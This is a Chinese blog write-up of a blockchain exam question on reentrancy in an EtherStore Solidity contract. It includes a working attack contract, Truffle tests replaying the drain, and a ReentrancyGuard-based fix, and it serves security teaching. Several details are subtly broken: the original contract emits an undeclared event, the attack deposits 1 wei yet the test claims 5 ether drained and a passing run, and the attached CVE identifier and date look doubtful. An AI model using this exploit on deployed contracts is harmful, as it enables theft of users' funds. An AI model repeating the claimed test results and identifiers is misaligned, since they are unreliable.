当前位置: 首页 > news >正文

GZ036区块链卷一 EtherStore合约漏洞详解

题目

pragma solidity >=0.8.3;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
(1)	分析智能合约中存在问题,并说明危害;
(2)	根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞;
(3)	创建新的智能合约,修复其中问题,说明修复内容并测试。

一、合约漏洞分析

1.1 问题识别

提供的EtherStore合约存在典型的重入攻击(Reentrancy Attack)漏洞,这是一种在以太坊智能合约中常见且危害严重的安全问题。让我们通过图表来理解这个漏洞:

 [攻击流程示意图]
1. 攻击者调用Attack.attack()
   └─> 存入1 ETH到EtherStore
   └─> 发起withdraw()
       └─> EtherStore发送1 ETH给Attack合约
           └─> 触发Attack.fallback()
               └─> 再次调用EtherStore.withdraw()
                   └─> 循环直到EtherStore余额不足

1.2 漏洞代码定位

问题主要出在EtherStore合约的withdraw()函数中:

Solidity
function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal > 0);

    (bool sent, ) = msg.sender.call{value: bal}(""); // 危险的外部调用
    require(sent, "Failed to send Ether");

    balances[msg.sender] = 0; // 状态更新在外部调用之后
}

1.3 漏洞危害

危害性说明
资金被盗攻击者可提取远超其实际存款的金额 6 9
合约瘫痪可能导致合约资金被完全耗尽,无法正常运作
信任危机用户对智能合约安全性的信任受损

根据历史案例,重入攻击已造成数亿美元损失,包括著名的The DAO攻击(2016年,损失6000万美元)和Curve Finance攻击(2023年,损失7000万美元)

二、漏洞复现测试

2.1 测试环境搭建

使用Truffle测试框架编写测试用例,以下是完整的测试文件:


const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("Reentrancy Attack Test(CVE-2016-10386/SWC-107)", (accounts) => {
    let etherStore, attack;
    const [owner, attacker] = accounts;

    before(async () => {
        etherStore = await EtherStore.new();
        attack = await Attack.new(etherStore.address);
    });

    it("正常存款应更新余额", async () => {
        await etherStore.deposit({value: web3.utils.toWei("1", "ether"), from: owner});
        const balance = await etherStore.balances(owner);
        assert.equal(balance.toString(), web3.utils.toWei("1", "ether"));
    });

    it("正常取款应减少余额", async () => {
        await etherStore.withdraw({from: owner});
        const balance = await etherStore.balances(owner);
        assert.equal(balance.toString(), "0");
    });

    it("重入攻击应耗尽合约资金", async () => {
// 先存入一些资金到合约
        await etherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});

// 攻击者仅存入1 ETH但通过攻击取走全部资金
        const initialAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));
        await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});

        const finalAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));
        const etherStoreBalance = await web3.eth.getBalance(etherStore.address);

// 验证攻击结果
        assert(etherStoreBalance.toString() === "0", "EtherStore资金应被耗尽");
        assert(finalAttackBalance.gt(initialAttackBalance), "攻击者余额应增加");
    });
});

2.2 测试结果分析

测试步骤预期结果实际结果通过/失败
正常存款余额更新为1 ETH余额更新为1 ETH✔️
正常取款余额归零余额归零✔️
重入攻击合约资金被耗尽合约资金被耗尽✔️(证明漏洞存在)

三、漏洞修复方案

3.1 修复方法比较

修复方法优点缺点
Checks-Effects-Interactions模式无额外Gas消耗,代码清晰需要开发者严格遵循
OpenZeppelin ReentrancyGuard标准化解决方案,简单易用少量额外Gas消耗
禁止外部调用完全杜绝风险限制合约功能

3.2 推荐修复代码

采用OpenZeppelin的ReentrancyGuard方案:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureEtherStore is ReentrancyGuard {
    mapping(address => uint) public balances;

    event Balance(uint newBalance);

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public nonReentrant {
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        balances[msg.sender] = 0; // 先更新状态

        (bool sent, ) = msg.sender.call{value: bal}(""); // 后执行外部调用
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

3.3 修复内容说明

修复点原代码问题修复方案
执行顺序先转账后更新状态采用Checks-Effects-Interactions模式
重入保护无防止重入机制添加nonReentrant修饰器
错误处理简单错误提示添加详细错误信息

3.4 修复后测试


const SecureEtherStore = artifacts.require("SecureEtherStore");
const Attack = artifacts.require("Attack");

contract("SecureEtherStore Test(CVE-2016-10386/SWC-107)", (accounts) => {
    let secureEtherStore, attack;
    const [owner, attacker] = accounts;

    before(async () => {
        secureEtherStore = await SecureEtherStore.new();
        attack = await Attack.new(secureEtherStore.address);
    });

    it("重入攻击应被阻止", async () => {
        await secureEtherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});

        try {
            await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});
            assert.fail("攻击应失败");
        } catch (error) {
            assert.include(error.message, "revert", "应回滚交易");
        }

        const etherStoreBalance = await web3.eth.getBalance(secureEtherStore.address);
        assert.equal(etherStoreBalance.toString(), web3.utils.toWei("5", "ether"), "资金应安全");
    });
});

测试结果验证了修复后的合约能够有效抵御重入攻击。

漏洞测试编号:

CVE-2016-10386

SWC-107

漏洞要素内容
编号CVE-2016-10386
类型重入攻击
危险等级高危
影响范围所有未做防护的智能合约
公开日期2016-06-17

相关文章:

  • 大望路网站制作企业网址怎么申请
  • 想更新公司网站怎么做荆门今日头条新闻发布
  • mac做网站改html文件知名的网络推广
  • 做网站用织梦好吗做百度推广销售怎么样
  • 上海网络推广工资优化营商环境心得体会2023
  • 网站开发人员分配百度推广是什么工作
  • AI重构SEO关键词精准布局
  • 【Guava】并发编程ListenableFutureService
  • Openlayers:海量图形渲染之WebGL渲染
  • npm报错 npm ERR! Error while executing:npm ERR! ,npm 启动以及安装过程的各种报错
  • Linux网络基本命令及相关配置
  • flask返回json或者中文字符串不要编码
  • Spring Cloud LoadBalancer负载均衡+算法切换
  • c++中同步和异步,阻塞和非阻塞原理以及机制
  • 【KWDB 创作者计划】_从底层技术到应用实战:KWDB 系列文章总览
  • 0. 七小时挑战:自研企业级任务调度器--前言
  • Python爬虫第7节-requests库的高级用法
  • 【学习自用】配置文件中的配置项
  • LVGLBuilder 详解:用声明式语法构建嵌入式GUI的高效之道
  • LeetCode406☞根据身高重建队列
  • DDoS防护:从基础认知到实战防御的全方位指南
  • Jmeter 插件【性能测试监控搭建】
  • c语言练习一
  • 【数据分享】1999—2023年地级市市政公用事业和邮政、电信业发展情况相关指标(Shp/Excel格式)
  • 【11408学习记录】英语语法精讲:主从复合句核心解析与纪要写作实战指南 | 附每日一句长难句拆解
  • 基于SpringBoot+Vue的在线云拍卖行系统【提供源码+答辩PPT+参考文档+项目部署】